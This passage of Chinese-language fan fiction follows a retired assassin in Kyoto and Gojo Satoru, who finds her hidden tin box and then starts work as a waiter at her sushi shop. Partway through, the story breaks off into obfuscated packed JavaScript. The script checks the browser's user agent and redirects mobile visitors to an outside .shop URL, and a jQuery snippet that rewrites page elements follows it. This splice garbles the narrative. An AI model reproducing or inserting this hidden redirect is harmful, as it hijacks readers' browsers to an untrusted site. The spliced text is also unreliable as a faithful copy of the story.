我的目光落在他手上的铁盒子。
没有我在角落做的标记。
……是另一个。
花了大概零点几秒快速确认了这件事，我整个人像被抽掉骨头一样倒进被褥里，脸朝下，把脸埋进枕头。
他没看到真东西。
“别装鸵鸟，快说，在家里藏这种坏东西，你还是不是老实人？”五条悟质问道。
我把脸抬起来，翻了个身仰面躺着，看着天花板，心脏乱跳。
“你翻我东西。”我说。
他把铅笔盒放在榻榻米上，盘腿坐到我面前，身高带来的压迫消失，托腮笑道：“把我带回家，总要承受相应的代价。”
“说得好像我白捡了十万日元一样。”
“我可比这金贵多了。”
铁盒子躺在我们之间，被打开，里面是一个退役杀手藏在壁橱深处的、用来解决成年女性本能的小道具。
他把它推到我面前。
“贝鲁酱看起来都快成佛了，”他的声音里带着那种让人想揍他的愉悦，“还会用这种东西吗？”
我坐起来，一把抓过盒子，铝壳被握得微微发热。我阴沉地盯着他，那双蓝眼睛弯成两道好看的弧线，这么可爱的脸配上肌肉鼓涨的身材，简直像个配错了头的大型手办。
至于他这幅表情，怎么说呢，有着过于满意的了然于胸，以及让人火大的气定神闲，像在看一个吃了毒药的老鼠苦苦挣扎。
“我好歹是个女人啊！”我听见自己的声音比预想中大了不少。
他一拍枕头，“不许你乱讲男人的台词！”
“都现代社会了，还搞封建那套。”
他哈哈大笑，因为心情甚好所以眼睛发光，如同两个大功率灯泡。
我拿着盒子站起来，走到壁橱前拉开门，把它塞回原来的位置，然后用衣服乱七八糟地盖住。
“以后不许再乱翻，翻到了也不要拿出来羞辱我。”
“怎么会是羞辱，贝鲁酱。”五条悟像个太阳花似的晃来晃去，“是对你有了新的认知呢，以后好好相处吧。初次见面请多指教，我是五条悟。”
我走到门边关了灯，房间陷入黑暗。躺下后，面朝墙壁，把被子拉到下巴，闻到令人沉思的淡淡洗衣粉味道。
“你每天都这么早睡？”他的声音从黑暗中传过来，距离很近，中间只隔一个人的空隙。他还坐着没有动。
“每天都这么早。”
“好无聊。”
“无聊是最好的生活。”
话说出口的瞬间，我自己都愣了一下。
我还能说出这么有哲理的东西？或许平静的生活给我带来了某些改变。在我还没反应过来之前，话就已经从嘴里出去了。
安静了几秒，铁皮屋顶上还有昨晚的雨水，隔很久才落下一滴。
“贝鲁。”
“嗯。”
“既然是无聊的生活，你为什么还需要那个铁盒子？”
“喂，我过正常的单身生活怎么了……”
等等。
他语气没有调笑，没有上翘的尾音，是认真在问。我有点困惑他到底指的是什么。
我转头看向他，夜视中，五条悟背对月光，整个人的轮廓被描摹成毛绒的一圈，双眼平和安静，没有任何明显的情绪。
我都动了动，被子发出窸窸窣窣的声音。
说不定，他两个盒子都看到了。壁橱就那么深，他的手又那么长，如果他再往里探两厘米，恐怕就会碰到我封存的杀手回忆。
性与死，往往强绑定。他看到的是性，还是死？两者都在壁橱深处并排躺着，是我生命的一部分。我不知道。
“以防无聊结束。”我说。
他轻轻笑。
过了一会儿，他也躺下了，呼吸声变得平稳。我知道他还醒着，只是不再说话。我闭着眼，听这道呼吸声，把关于他的事情在心里翻来覆去地反刍。
你从哪里来。你为什么倒在雨里。你身上的伤痕是怎么回事。你以前是做什么的。你为什么要住下来。你为什么翻我的东西。你翻到了什么。你问的是哪一个铁盒子。你知道我杀过别的东西。你为什么还是要留下来。
这些念头像弹珠一样在脑子里滚来滚去，撞到一起又弹开。
我睁开眼睛。
“五条。”
“嗯。”
“如果你给不出房租——”
“可以肉偿吗？”他紧跟道，语气轻快纯洁。
黑暗中安静一瞬。
我猛然暴起把枕头扔过去。
“干什么动手，粗鲁的杀鱼女。你看不出我是何等的极品吗，一般来说你得反过来给我钱。”
我把被子往头上一蒙。
“求你了，睡吧。”我说，声音闷着。
“贝鲁酱——”
“真的求你了。”
他在那边贼兮兮地笑。
我把自己裹得更紧企图逃避现实。这家伙恢复精神之后嘴巴好贱。
第二天早上。
闹钟响，我疲倦地爬起来去洗脸。
他迷迷糊糊地坐起身，打了个哈欠，片刻后道：“今天我能跟着去吗？”
我转过头。他的白发乱糟糟，手臂上的肌肉自然放松。晨光照在脸上，像一颗新鲜的水果。
“为啥？”我刷着牙问。
“我想了一晚上，”他说，“说不定我很有杀鱼天赋。”
骗什么人，你没一会儿就睡成猪了吧，还想一晚上。
我一把拽掉衣服，换上穿在工作服里面的短袖，“所以呢。”
“打工赚房租。”他一下子跳起来，精气神满满，“我才不要肉偿。”
这家伙思维好跳跃。
而且，是不是哪里来的大少爷啊？总感觉他对钱没什么概念。对工作这么有热情，真的没问题吗？
我想了想。之前是你自己提出的肉偿，现在又不要了。果然漂亮的男人最难养，唉，甘之如饴吧。
“可以。”我宽容地说。
领着五条悟来到寿司店，藏蓝色的门帘上面印着一个白色的鱼字。我推开后门，小川在穿防水服。
他看到我，脸上浮起笑容。
“贝鲁桑——”
然后他瞥见我身后的五条悟，笑容冻结。
五条悟从小巷的晨光里走入，白发几乎碰到门框上沿，高挑健硕的身材挤进来简直像走进小人国。
我路上在优衣库给他买了新的黑色短袖，最大码的衣服也被肩膀撑得很紧。
他站在后厨狭小的空间里，像一只被塞进纸箱的大型犬，手长脚长，不知道该往哪里放。
小川仰头，嘴巴呆滞地张着。
“这、这是……”他转向我，“贝鲁桑……是你那个前夫？”
五条悟歪了一下头。
“前夫？”
我这两天真是受够了，不想搭理这些乱七八糟的对话。从储物柜里拿出防水服，套上，拉链拉到头。
老板从前面探进来，六十岁的山田老头，花白头发剃短，脑门上绑着寿司匠人的布条。他看了看五条悟，又看了看我。
“谁？”
“我家的，”我顿了一下，“房客。想找份工。”
老板把五条悟从头看到脚，目光在他露出的手臂伤疤上停了半秒，然后点点头。
“会杀鱼吗？”
“不会。”五条悟说，“但我学东西很快。”
老板想了想，“转一圈。”
五条悟原地单脚旋转，姿势花哨，状若花滑选手。
“可以了。”老板说，“外面吧台缺个服务生。之前的嫌工资低，你干不干？”
五条悟看了看那排高脚凳。
“当然。”他说。
“等一下！”小川的声音从角落里炸出来。他的防水服穿了一半，一只手套着袖子，另一只还耷拉在身后。
“老板，他这么高，在店里走来走去很碍事啊！本来店面就小，他往中间一站，客人连灯都看不到了——”
五条悟垂下脑袋看着小川，比他矮了将近两个头。
“本人具有惊世骇俗的灵活性。”五条悟一本正经道。
小川张着嘴，没说出话。
“先试试吧。”老板说，“今天试用一天，能干就留下。工钱按日结。”
五条悟从吧台后面走出来，站在那六个座位和两张桌子之间的空隙里。店面确实很小，他的头顶可以撞到悬挂着的灯笼。
一个身高超过一米九的服务生，在京都最小的寿司店里。
老板扔给他一件工作服，白色短袖，领口有藏蓝色的边。他套在我给他买的衣服外面，袖子卡在肱二头肌的位置，绷得很紧，像抽血时的橡胶绳子。
第一位客人是十一点进来的，灰色西装的中年男人，领带松着，额头上有一层薄汗。他推开门，抬头看见五条悟的脸，往后退了半步，重新看了看门帘上的鱼字，确认自己没有走错店。
“一位吗？”五条悟笑眯眯地问。
中年男人点了点头，在吧台最角落的位置坐下。五条悟把菜单递过去，男人接过菜单的时候手都在抖。
“决定好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513461|203110||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了叫我。”五条悟说完转身，差点撞到从后厨端着鱼片出来的我。
吧台和墙壁之间的通道正好够一个正常人侧身通过，五条悟站在那，我只能把托盘举高，整个人贴着他的胸口挤过去。他的胸口是硬的，非常结实，这么近的距离，足以一拳把我的脸打烂。
“惊世骇俗的灵活性。”我小声说。
“还在适应。”他悄悄回答。
他从我手中接过托盘，将鲷鱼薄切放在客人面前。中年男人看了看鱼片，抬头看了看他，又看了看穿着防水服的我，眼神像是在说：这家店到底是怎么回事。
抱歉，我们现在走颜值路线了。
第二位客人是一对情侣。推开门的时候女生哇了一声。不是哇鱼，是哇五条悟。她男朋友的脸色立刻变得不太好。
“两位吗？”五条悟说。
女生点头，眼睛粘在他脸上撕都撕不下来。
他把他们引到两人桌。女生坐下后，视线还是没从他身上移开，男朋友翻开菜单，包着塑料膜的页面被甩得啪啪作响。
“点餐喊我哦。”
五条悟这次学会了提前侧身，让我举起托盘和他面对面挤在狭窄的通道内，然后借着身高优势拿走餐品，送到客人桌上。我们的肩膀擦了一下，他的体温比昨天高，这是个好的征兆。
午餐高峰期，六张吧台位和两张桌子全坐满了，店里挤得转不开身。五条悟在桌椅之间侧身、跨步、弯腰，把盘子放在桌上，把空盘子收走。
他的动作确实灵活，对身体的控制力极佳，每一个动作的幅度都刚刚好，像个巨人在处理乐高沙盘里的积木。既不会碰到椅子，也不会碰到客人。除了刚开始那几次差点撞到我。
小川在后厨杀鱼，每隔十分钟就从出餐口往外看一眼，眼神像是一只领地被入侵的猫。
下午两点，午餐时段结束。老板把五条悟叫到吧台前。
“明天继续来。”他满意地倒了杯茶。
五条悟低头看身上那件绷得快裂开的白色短袖，“老板，这件太小了。”
“明天会给你找件合适的。”老板挥了挥手，“走吧。”
小川从后厨探出头，忿忿地看着我们。我撇头望过去，他立刻缩了起来。
傍晚六点，京都的天空变成深蓝色。
我和五条悟从鱼喜后门出来，走进巷子里，灯笼亮了，将石板路映照得波光粼粼。
“这边。”我说。
我们沿着鸭川的堤坝往回走。河边还是老风景，樱树在夏天长满了叶子，苍翠欲滴，沿河一大片，遮天蔽日。有些不肯消逝的晚樱如同月光的碎片般零星飘落，打着旋儿落在水面上。
经过四条大桥的时候，桥上的灯笼亮起一整排，古典的光芒被水流揉碎，独具鎏金的质地。
“如果我不在，”我说，“你要记得路。”
“为什么突然说这个？”五条悟弯腰，从旁边探出身子。
我的脚步没有停。
“你还会有其他的安排？”他问。
我踩过一块松动的石板，在脚下晃了晃，“讲不准呢，万一我跳槽了。”
“跳去哪里？”
“不知道。”
从退役那天起我就一直在这里。我对京都没有特殊喜好，只是还没有想过要去别的地方。现在他问了，我发现我依然没有答案。
“你去哪里我就去哪里呀。”他甜滋滋地说。
唉，他能不能别用这种语气说话，说者无意听者有心，搞得我心思不定。
我停下脚步。他往前多走了半步，也跟着停下来，转过身看着我。
河水在我们脚下川流不息，黄昏与夜晚的交接时刻，天空是如此静谧的幽蓝，将他的白发染成淡紫色。
“你是个大人了。”我叹气。
他歪了一下头。
“人家才三十岁。”
我看着他，他看着我，水声哗哗地响。四条大桥上的灯笼在风里轻轻摇晃，光影将他的蓝眼睛映照得时明时暗，一如晃动的水面。
我的手有种控制不住的冲动，想要抚摸他蒲公英一样的头发，或者温润细腻的脸颊。我真的控制不了，我的胃正在被什么东西骚动，让我内心深处的暴力因子蠢蠢欲动，恨不得拿把刀插进去，只为止住这种陌生的感受。
曾有个前辈告诉我，当你发觉一个男人的可爱，便是你人生完蛋的前兆。
我按住那条躁动不安的手臂。
“怎么了？”五条悟凑过来，眼睛亮晶晶。
我撇开头，把脸藏进头发里。
“没事。”